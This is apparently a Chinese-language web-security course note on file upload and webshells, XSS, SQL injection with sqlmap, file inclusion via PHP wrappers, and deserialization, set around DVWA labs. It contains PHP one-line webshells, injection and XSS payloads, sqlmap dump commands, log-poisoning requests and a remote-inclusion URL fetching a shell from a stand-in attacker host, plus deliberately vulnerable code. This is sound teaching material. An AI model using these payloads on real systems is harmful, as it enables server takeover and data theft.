文章目录
文件上传漏洞
文件上传漏洞指网络攻击者上传了一个可执行的文件到服务器并执行。这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,部分文件上传漏洞的利用技术门槛非常的低,对于攻击者来说很容易实施。
- 文件上传漏洞本身就是一个危害巨大的漏洞,WebShell更是将这种漏洞的利用无限扩大。
- 大多数的上传漏洞被利用后攻击者都会留下WebShell以方便后续进入系统。
- 攻击者在受影响系统放置或者插入WebShell后,可通过该WebShell更轻松,更隐蔽的在服务中为所欲为。
这里需要特别说明的是上传漏洞的利用经常会使用WebShell,而WebShell的植入远不止文件上传这一种方式。
WebShell
WebShell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。
- 攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。
- WebShell后门隐蔽较性高,可以轻松穿越防火墙,访问WebShell时不会留下系统日志,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员不容易发现入侵痕迹。
- 攻击者可以将WebShell隐藏在正常文件中并修改文件时间增强隐蔽性,也可以采用一些函数对WebShell进行编码或者拼接以规避检测。
除此之外,通过一句话木马的小马来提交功能更强大的大马可以更容易通过应用本身的检测。
<?php eval($_POST[a]); ?>
就是一个最常见最原始的小马。eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。
举例,编写test.php,存储到PHPNOW的Web目录下,代码如下:
<?php eval($_POST['uname']); ?>
<form id="form1" name="form1" method="post" action="test.php">
<input name="uname" type="text" id="uname" />
<input type="submit" name="Submit" value="提交" />
</form>
在输入框中输入“phpinfo();”运行后:
文件上传漏洞原理
大部分的网站和应用系统都有上传功能,如用户头像上传,图片上传,文档上传等。
- 一些文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过Web访问的目录上传任意PHP文件,并能够将这些文件传递给PHP解释器,就可以在远程服务器上执行任意PHP脚本。
- 当系统存在文件上传漏洞时攻击者可以将病毒,木马,WebShell,其他恶意脚本或者是包含了脚本的图片上传到服务器,这些文件将对攻击者后续攻击提供便利。根据具体漏洞的差异,此处上传的脚本可以是正常后缀的PHP,ASP以及JSP脚本,也可以是篡改后缀后的这几类脚本。
上传文件是病毒或木马时:主要用于诱骗用户或者管理员下载执行或者直接自动运行
上传文件是WebShell时:攻击者可通过这些网页后门执行命令并控制服务器
上传文件时其他恶意脚本时:攻击者可直接执行脚本进行攻击
上传文件是恶意图片时:图片中可能包含了脚本,加载或者点击这些图片脚本会执行
上传文件是伪装成正常后缀的恶意脚本时:攻击者可借助本地文件包含漏洞(Local File Include)执行该文件。如将bad.php文件改名为bad.doc上传到服务器,再通过PHP的include,include_once,require,require_once等函数包含执行。
一个php文件上传代码如下:
<form action="" enctype="multipart/form-data" method="post"
name="uploadfile">上传文件:<input type="file" name="upfile" /><br>
<input type="submit" value="上传" /></form>
<?php
if( is_uploaded_file($_FILES['upfile']['tmp_name'])){
$upfile=$_FILES["upfile"];
//获取数组里面的值
$name=$upfile["name"];//上传文件的文件名
$type=$upfile["type"];//上传文件的类型
$size=$upfile["size"];//上传文件的大小
$tmp_name=$upfile["tmp_name"];//上传文件的临时存放路径
$error=$upfile["error"];//上传后系统返回的值
//把上传的临时文件移动到up目录下面
move_uploaded_file($tmp_name,'up/'.$name);
$destination="up/".$name;
echo $destination;
} ?>
实验一:安装OWASP测试环境,在其中的DVWA里实现一句话木马的上传。并用Kail Linux中的自带的webshell工具weevely连接后门,获取服务器权限。
实验二:点击View Source查看上传文件的源代码,比较三种不同安全级别的代码有什么不同??思考要做到安全的文件上传,服务端应该从哪些角度对用户上传的文件进行检测。
不再做具体演示,感兴趣可以参考《软件安全:渗漏测试与漏洞挖掘》
跨站脚本攻击
XSS在OWASP 2013年度Web应用程序十大漏洞中位居第三。Web应用程序经常存在XSS漏洞。跨站脚本攻击与SQL注入攻击区别在于:XSS主要影响的是Web应用程序的用户,而SQL注入则主要影响Web应用程序自身。
”脚本“的含义
现在大多数网站都使用JavaScript或VBScript来执行计算、页面格式化、cookie管理以及其他客户动作。这类脚本是在浏览网站的用户的计算机(客户机)上运行的,而不是在Web服务器自身中运行。
下面是一个简单的脚本示例:
<html> <head> </head> <body>
<script type="text/javascript">
document.write("A script was used to display this text");
</script>
</body> </html>
在这个简单的实例中,该网页通过JavaScript指示Web浏览器将该文本A script was used to display this text输出。
浏览该网站的用户不会察觉到本地运行的脚本对网页的内容进行了转换。从浏览器呈现的视图来看,它看上去与静态HTML页面没有任何的区别。只有当用户查看HTML源代码时才可能看到JavaScript。
大多数浏览器都包含脚本支持,而且通常情况下是默认启用的。
启用并使用脚本并不是XSS漏洞存在的原因。只有当Web应用程序开发人员犯错误时才会变得危险。
跨站脚本的含义
XSS根据其特征和利用手法的不同,主要分成两大类型:
- 反射式跨站脚本
反射式跨站脚本也称作非持久型、参数型跨站脚本。主要用于将恶意脚本附加到URL地址的参数中,下面是一个简单的存在漏洞的php页面:
这个php页面将传入的参数name未经过有效性检验而直接写入到响应结果中,所以这个页面容易受到XSS攻击。
如果攻击者输入如下脚本:<script>alert(‘xss’)</script>。传入的脚本在客户端服务器中得以执行。此Web应用程序存在可被反射式XSS攻击的漏洞。
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == '')
{
$isempty = true;
} else {
echo '<pre>';
echo 'Hello ' . $_GET['name'];
echo '</pre>';
}?>
- 存储式跨站脚本
存储式跨站脚本又称为持久型跨站脚本,比反射式跨站脚本更具有威胁性,并且可能影响到Web服务器自身的安全。
存储式XSS与反射式XSS类似的地方在于,会在Web应用程序的网页中显示未经编码的攻击者脚本。
它们的区别在于,存储式XSS中的脚本并非来自于Web应用程序请求;相反,脚本是由Web应用程序进行存储的,并且会将其作为内容显示给浏览用户。例如,如果论坛或博客网站允许用户上传内容而不进行适当的有效性检查或编码,那么这个网站就容易受到存储式XSS攻击。
在这个示例中,我们向该留言板提交攻击脚本,该脚本会存储在其后台数据库服务器,每当用户查看留言板时,则会弹出对话框:
XSS的攻击途径
上面演示的XSS攻击只是显示一个警告框,但是在现实的攻击案例中,攻击者有可能进行更具破坏性的攻击。例如。恶意脚本可以将cookie值上传到攻击者的网站,从而有可能让攻击者以该用户的身份登入或恢复正在进行中的会话。脚本还可以改写页面内容,使其看上去已经被涂鸦。
JavaScript还可以轻易地实施下面的任何攻击:
- 通过cookie窃取实现会话劫持
- 按键记录,将所有输入的文本发送到攻击者网站
- 网站涂改
- 向网页中注入链接或广告
- 立即将网页重定向到恶意网站
- 窃取用户登录凭证
跨站脚本的危害
一般来说,存储式XSS的风险会高于反射式XSS。因为存储式XSS会保存在服务器上,有可能会跨页面存在。它不改变页面URL的原有结构,因此有时候还能逃过一些IDS的检测。比如IE8的XSS Filter和Firefox的Noscript Extension,都会检查地址栏中的地址是否包含XSS脚本。而跨页面的存储式XSS可能会绕过这些检测工具。
从攻击过程来说,反射式XSS一般要求攻击者诱使用户点击一个包含XSS代码的URL链接;而存储式XSS则只需让用户查看一个正常的URL链接,而这个链接中存储了一段脚本。比如一个Web邮箱的邮件正文页面存在一个存储式XSS漏洞,当用户打开一封新邮件时,XSS Payload会被执行。这样的漏洞极其隐蔽,且埋伏在用户的正常业务中,风险颇高。
实验三:对如下示例代码的php网页进行XSS攻击,实现简单的弹窗效果即可
<!DOCTYPE html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("Congratulations~");
}
</script>
</head>
<body>
<h1 align=center>--Welcome To The Simple XSS Test--</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
echo "<h2 align=center>Hello ".htmlspecialchars($str).".</h2>".'<center>
<form action=xss_test.php method=GET>
<input type=submit name=submit value=Submit />
<input name=keyword value="'.$str4.'">
</form>
</center>';
?>
</body>
</html>
不再做具体演示,感兴趣可以参考《软件安全:渗漏测试与漏洞挖掘》
SQL注入漏洞
SQL是用于访问和处理数据库的标准的计算机语言。SQL是二十世纪七十年代由IBM创建的,于1992年作为国际标准纳入ANSI。包括数据定义语言(DDL),用于定义数据库结构、数据操作语言(DML),用于对数据库进行查询或更新。
SQL语法不过多介绍
注入原理
SQL注入是一种将SQL代码插入或添加到应用(用户)的输入参数中的攻击,之后再将这些参数传递给后台SQL服务器加以解析并执行。
数据库驱动的Web应用通常包含三层:
- 表示层:Web浏览器或呈现引擎
- 逻辑层:如C#、ASP、NET、PHP、JSP等编程语言
- 存储器:如Microsoft SQL Server、MySQL、Oracle等数据库
Web浏览器(表示层)向中间层(Web服务器)发送请求,中间层通过查询、更新数据库(存储层)来响应该请求。
当用户通过Web表单提交数据时,如果输入框的值没有经过有效性检查,则这些数据将会作为SQL查询的一部分。
比如,如果一个网页的表单通过如下代码实现
<form action=”xxx.php”method=”GET”>
<input type=”text” name=”user”/>
<input type=”text” name=”passwd”>
<input type=”submit”/>
</form>
核心代码如下:
<?php
/*…*/
$sql="select * from table where user=$_GET[“user”] and password=$_GET[“passwd”]";
$result=mysql_query($sql);//执行查询
/*…*/
?>
当用户通过浏览器向表单提交了用户名“bob”,密码“abc123”时,那么下面的HTTP查询将被发送给Web服务器:http://xxxx.com/xxx.php?user=bob&passwd=abc123
当Web服务器收到这个请求时,将构建并执行一条(发送给数据库服务器的)SQL查询。在这个示例中,该SQL请求如下所示:SELECT * FROM table WHERE user=’bob’ and password=’abc123’
但是,如果用户发送的请求的user是修改过的SQL查询,那么这个模式就可能会导致SQL注入安全漏洞。
例如,如果用户将user的内容以“bob ’–”来提交,则单引号用于截断前面的字符串,注释符–后面的内容将会被注释掉,如下所示:http://xxxx.com/xxx.php?user=bob’--&passwd=xxxxxx
Web应用程序会构建并发送下面这条SQL查询:SELECT * FROM table WHERE user=’bob’--’ and password=’abc123’
这样,注释符–后面的内容将会被完全注释掉,也就是说,对于伪造bob的用户,并不需求提供正确的密码,就可以查询到bob的相关信息。
寻找注入点
如果要对一个网站进行SQL注入攻击,首先需要找到存在SQL注入漏洞的地方,也就是注入点。可能的SQL注入点一般存在于登录页面、查找页面或添加页面等用户可以查找或修改数据的地方。
get型的请求最容易被注入
通常我们关注ASP,JSP,CGI或PHP的网页,尤其是URL中携带参数的,例如: http://xxx/xxx.asp?id=numorstring。其中,参数可以是整数类型的也可以是字符串类型的。
我们以数字类型为例,进行以下的讲解。
如果下面两个方法能成功,说明存在SQL注入漏洞,也就是他们对输入信息并没有做有效的筛查和处理。
一段有问题的代码
<?php
$con=mysql_connect("localhost","root","lenovo");
if(!$con){die(mysql_error());}
mysql_select_db("products",$con);
$sql="select * from category where id=$_GET[id]";
echo $sql."<br>";
$result=mysql_query($sql,$con);
while($row=mysql_fetch_array($result,MYSQL_NUM))
{
echo $row[0]." ".$row[1]." ".$row[2] ."<br>";
}
mysql_free_result($result);
mysql_close($con);
?>
“单引号”法
在URL参数后添加一个单引号,若存在注入点则通常会返回一个错误,例如,下列错误通常表明存在MySQL注入漏洞:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
“永真永假”法
“单引号”法很直接,也很简单,但是对SQL注入有一定了解的程序员在编写程序时,都会将单引号过滤掉。如果再使用单引号测试,就无法检测到注入点了。这时,就可以使用经典的“永真永假”法。
SQLMAP
Sqlmap是一款开源的命令行自动化SQL注入工具,用Python开发而成,kali中系统已装有sqlmap;而如果在windows下使用,则需要安装Python环境。下面介绍Sqlmap最为常用的命令:
- Sqlmap -u url找到注入点
- sqlmap -u url --dbs 列出数据库
- 或者 sqlmap -u url --current-db
显示当前数据库 - sqlmap -u url –users
列出数据库用户 - 或者sqlmap -u url --current-user
当前数据库用户 - sqlmap -u url --tables -D “testdb”
列出testdb数据库的表 - sqlmap -u url --columns -T “user” -D “testdb” 列出testdb数据库user表的列
- sqlmap -u url --dump -C “id,username,password” -T “user” -D “testdb”
- 列出testdb数据 库user表的id,username,password这几列的数据
具体实践
开放式Web应用程序安全项目(Open Web Application Security Project, OWASP)是世界上最知名的Web安全与数据库安全研究组织,该组织分别在2007年、2010年和2013年统计过十大Web安全漏洞。我们**基于OWASP发布的开源虚拟镜像“OWASP Broken Web Applications VM”**来演示如何寻找SQL注入漏洞。这里不作过多介绍。
SQL盲注
通过工具SQLMap可以轻松的获取数据库的所有表、列和数据,读者可能也有疑惑,它是如何达到目的的呢?
有一些SQL注入可以将SQL执行的结果回显,这种情况下,可以直接通过回显的结果来显示想要查询的各类信息。
但是,实际情况中,具有回显的注入点非常罕见。在这种情况下就需要利用SQL盲注。
SQL盲注是不能通过直接显示的途径来获取数据库数据的方法。在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)。一般情况下,盲注可分为三类:基于布尔SQL盲注、基于时间的SQL盲注、基于报错的SQL盲注。
常用的SQL函数
Substr函数
的用法:取得字符串中指定起始位置和长度的字符串,默认是从起始位置到结束的子串。语法为:substr( string, start_position, [ length ] ),比如substr(‘目标字符串’,开始位置,长度),再如substr(‘This is a test’, 6, 2) 将返回 ‘is’。
If函数
的用法:如果满足一个条件可以赋一个需要的值。语法:IF(expr1,expr2,expr3),其中,expr1是判断条件,expr2和expr3是符合expr1的自定义的返回结果,expr1为真则返回expr2,否则返回expr3。
Sleep函数
的用法:sleep(n)让语句停留n秒时间,然后返回0,如果执行被打断,返回1。
Ascii函数
的用法:返回字符的ASCII码值。
基于布尔的SQL盲注
对于一个注入点,页面只返回True和False两种类型页面,此时可以利用基于布尔的盲注。布尔盲注就是通过判断语句来猜解,如果判断条件正确则页面显示正常,否则报错,这样一轮一轮猜下去直到猜对,是挺麻烦但是相对简单的盲注方式。
实验七:DVWA中的SQL Injection(Blind)实践
基于时间的SQL盲注重做实验
不作过多演示
SQL注入的防御措施
由于越来越多的攻击利用了SQL注入技术,也随之产生了很多试图解决注入漏洞的方案。目前被提出的方案有:
- 在服务端正式处理之前对提交数据的合法性进行检查
方案1被公认是最根本的解决方案,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作,不过这需要开发者能够以一种安全的方式来构建网络应用程序,虽然已有大量针对在网络应用程序开发中如何安全地访问数据库的文档出版,但仍然有很多开发者缺乏足够的安全意识,造成开发出的产品中依旧存在注入漏洞。
- 封装客户端提交信息
方案2的做法需要RDBMS的支持,目前只有Oracle采用该技术
- 替换或删除敏感字符/字符串
方案3则是一种不完全的解决措施,例如,当客户端的输入为 “…ccmdmcmdd…”时,在对敏感字符串“cmd”替换删除以后,剩下的字符正好是“…cmd…”。
- 屏蔽出错信息
方案4是目前最常被采用的方法,很多安全文档都认为SQL注入攻击需要通过错误信息收集信息,有些甚至声称某些特殊的任务若缺乏详细的错误信息则不能完成,这使很多安全专家形成一种观念,即注入攻击在缺乏详细错误的情况下不能实施。而实际上,屏蔽错误信息是在服务端处理完毕之后进行补救,攻击其实已经发生,只是企图阻止攻击者知道攻击的结果而已。
通常,上面这些方法需要结合使用
文件包含漏洞
文件包含
在开发web应用时,开发人员通常会将一些重复使用的代码写到单个文件中,再通过文件包含,将这些单个文件中的代码插入到其它需要用到它们的页面中。文件包含可以极大的提高应用开发的效率,减少开发人员的重复工作,有利于代码的维护与版本的更新。
- 配置文件。用于整个web应用的配置信息,如数据库的用户名及密码,使用的数据库名,系统默认的文字编码,是否开启Debug模式等信息。右侧就是wordpress博客系统配置文件的部分内容。
- 重复使用的函数。如连接数据库,过滤用户的输入中的危险字符等。这些函数使用的频率很高,在所有需要与数据库进行交互的地方都要用到相似的连接数据库的代码;在几乎所有涉及到获取用户输入的地方都需要对其进行过滤,以避免出现像sql注入、xss这样的安全问题。
- 重复使用的版块。如页面的页头、页脚以及菜单文件。通过文件包含对这些文件进行引入,在某个地方需要修改时,开发人员只需要对单个文件进行更新即可,而不需要修改使用这些板块的其他文件。
- 具有相同框架的不同功能。开发人员可以在不同的页面引入页头、页脚,也可以在定义好页头、页脚的框架中引入不同的功能。这样有新的业务需求时,开发人员只需要开发对应的功能文件,再通过文件包含引入;在有业务需要更替时,开发人员也只需要删除对应的功能文件即可。
下面便是一个在相同的框架中引入不同功能的示例代码,该代码可以从get请求中获取到用户需要访问的功能,并且将对应的功能文件包含进来。
Index.php:
<?php
$file = $_GET[‘func’];
include “$file”;
?>
本地文件包含漏洞
如果被包含文件的文件名是从用户处获得的,且没有经过恰当的检测,从而包含了预想之外的文件,导致了文件泄露甚至是恶意代码注入,这就是文件包含漏洞。如果被包含的文件储存在服务器上,那么对于应用来说,被包含的文件就在本地,就称之为本地文件包含漏洞。
场景一:包含上传的合法文件
通常应用中都会有文件上传的功能,比如用户头像上传、附件上传等。通过文件上传,攻击者将能携带有恶意代码的合法文件上传到服务器中,**由于在include等语句中,无论被包含文件的后缀名是什么,只要其中有PHP的代码,都会将其执行。**结合文件包含漏洞,可以将上传的恶意文件引入,使其中的恶意代码得到执行。
场景二:包含日志文件
Web服务器往往会将用户的请求记录在一个日志文件中,以供系统管理员审查。在Ubuntu系统下,apache默认的日志文件为==/var/log/apache2/access.log==。日志文件会记录用户的ip地址、访问的url、访问时间等信息。
利用这个功能,攻击者可以:
- 先构造一条包含恶意代码的请求,如
http://.../index.php?a=<? php eval($_POST[‘pass’]); ?>
,这一条请求会被web服务器写入日志文件中 - 再利用本地文件包含漏洞,如
http://.../index.php?func=..../../log/apache2/access.log
,将日志文件引入,使得植入的恶意代码得到执行。
远程文件包含漏洞
顾名思义,如果存在文件包含漏洞,且允许被包含的文件可以通过url获取,则称为远程文件包含漏洞。
在PHP中,有两项关于PHP打开远程文件的设置,allow_url_fopen
和allow_url_include
:
- allow_url_fopen设置是否允许PHP通过url打开文件,默认为On;
- allow_url_include设置是否允许通过url打开的文件用于include等函数,默认为Off。
allow_url_fopen是allow_url_include开启的前提条件,只有allow_url_fopen与allow_url_include同时设置为On时,才可能存在远程文件包含漏洞。
出于安全考虑,这两个变量的值只能在配置文件php.ini中更改。
-
包含攻击者服务器上的恶意文件
由于allow_url_fopen与 allow_url_include 是开启的,攻击者可以将包含恶意代码的文件放在自己的服务器上,例如一个内容为
<?php eval($_POST[‘pass’]);?>
的shell.txt文件,构造恶意请求http://www.victim.com/index.php?func=http://www.hacker.com/shell.txt
,shell.txt
中的恶意代码就会在目标服务器上执行。 -
通过PHP伪协议进行包含
在PHP中,如果allow_url_fopen和allow_url_include同时开启的情况下,include等函数支持从PHP伪协议中的php://input处获取输入流,关于PHP伪协议的相关知识会在下面讨论,这里只关注其中的php://input。
php://input可以访问请求的原始数据的只读流,也就是通过POST方式发送的内容。借助PHP伪协议,攻击者直接将想要在服务器上执行的恶意代码通过POST的方式发送给服务器就能完成攻击。
PHP伪协议
PHP带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、 file_exists() 和 filesize() 的文件系统函数,可在include命令中使用。除了这些封装协议,还能注册自定义的封装协议。常见的协议有:
- file:// — 访问本地文件系统
- http:// — 访问 HTTP(s) 网址
- ftp:// — 访问 FTP(s) URLs
- php:// — 访问各个输入/输出流(I/O streams)
- zlib:// — 压缩流
- phar:// — PHP 归档
- php://filter
php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用。php://filter可以读取本地文件的内容,还可以对读取的内容进行编码处理。被include等函数包含的文件会被当作PHP文件一样进行处理,如果被包含的文件中有PHP代码,那么PHP代码将会执行,文件中PHP代码以外的内容,会直接返回给客户端。利用这个特性,攻击者可以获取到web页面的源代码。为后续的渗透工作提供帮助。下面的例子中,攻击者对index.php内容进行了base64编码,将获取到的字符串在本地进行base64解码后就能得到index.php的内容。
- phar://与zip://
phar://与zip://可以获取压缩文件内的内容,如在hack.zip的压缩包中,有一个shell.php的文件,则可以通过phar://hack.zip/shell.php的方式访问压缩包内的文件,zip://也是类似。这两个协议不受文件后缀名的影响,将hack.zip改名为hack.jpg后,依然可以通过这种方式访问压缩包内的文件。
/*常用payload*/
http://www.xxx.com/index.php?func=zip://hack.jpg%23shell.php
/*zip协议的用法为zip://hack.jpg#shell.php,由于#在http协议中有特殊的含义,所以在发送请求时要对其进行url编码*/
http://www.xxx.com/index.php?func=phar://hack.jpg/shell.php
反序列化漏洞
序列化和反序列化
序列化是指将对象、数组等数据结构转化为可以储存的格式的过程。程序在运行时,变量的值都是储存在内存中的,程序运行结束,操作系统就会将内存空间收回,要想要将内存中的变量写入磁盘中或是通过网络传输,就需要对其进行序列化操作,序列化能将一个对象转换成一个字符串。 在PHP中,序列化后的字符串保存了对象所有的变量,但是不会保存对象的方法,只会保存类的名字。java、python和php等编程语言都有各自的序列化的机制。
会创建一个example类的对象,并将其序列化后保存到serialize.txt
中并打印到屏幕上。
/*serialize.php*/
<?php
class example{
private $message='hello world';
public function set_message($message){
$this->message=$message;
}
public function show_message(){
echo $this->message;
}
}
$object = new example();
$serialized = serialize($object);
file_put_contents('serialize.txt', $serialized);
echo $serialized;
?>
上述代码运行的结果为:O:7:"example":1:{s:16:" example message";s:11:"hello world";}
O代表储存的是对象(object),7代表类名有7个字符,example代表类名,1代表对象中变量个数,s表示字符串,16,代表长度,example message是类名及变量名。
将序列化后的字符串恢复为数据结构的过程就叫做反序列化。为了能够反序列化一个对象,这个对象的类在执行反序列化的操作前必须已经定义过。
/*unserialize.php*/
<?php
class example{
private $message='hello world';
public function set_message($message){
$this->message=$message;
}
public function show_message(){
echo $this->message;
}
}
$serialized = file_get_contents("serialize.txt");
$object = unserialize($serialized);
$object->set_message('unserialized success');
$object->show_message();
?>
上述代码执行完后会在屏幕上打印“unserialized success”。
PHP魔法方法
PHP有一类特殊的方法,它们以**__(两个下划线)开头**,在特定的条件下会被调用,例如类的构造方法__construct(),它在实例化类的时候会被调用。
下面是PHP中常见的一些魔术方法。
__construct(),类的构造函数,创建新的对象时会被调用
__destruct(),类的析构函数,当对象被销毁时会被调用
__call(),在对象中调用一个不可访问方法时会被调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),读取一个不可访问属性的值时会被调用
__set(),给不可访问的属性赋值时会被调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
下面是一个使用PHP魔术方法的类的示例,在反序列化时,类中的__wakeup()方法会被调用,并输出“Hello World”
<?php
class magic{
function __wakeup(){
echo 'Hello World';
}
}
$object = new magic();
$serialized = serialize($object);
unserialize($serialized);
?>
PHP反序列化漏洞
PHP反序列化漏洞又叫PHP对象注入漏洞。
在一个应用中,如果传给unserialize()的参数是用户可控的,那么攻击者就可以通过传入一个精心构造的序列化字符串,利用PHP魔术方法来控制对象内部的变量甚至是函数。
对这一类漏洞的利用,往往需要分析web应用的源代码。
时间有限,实验不作演示。具体应用案例、实现过程参考书籍
附上网上文章链接https://xz.aliyun.com/t/9234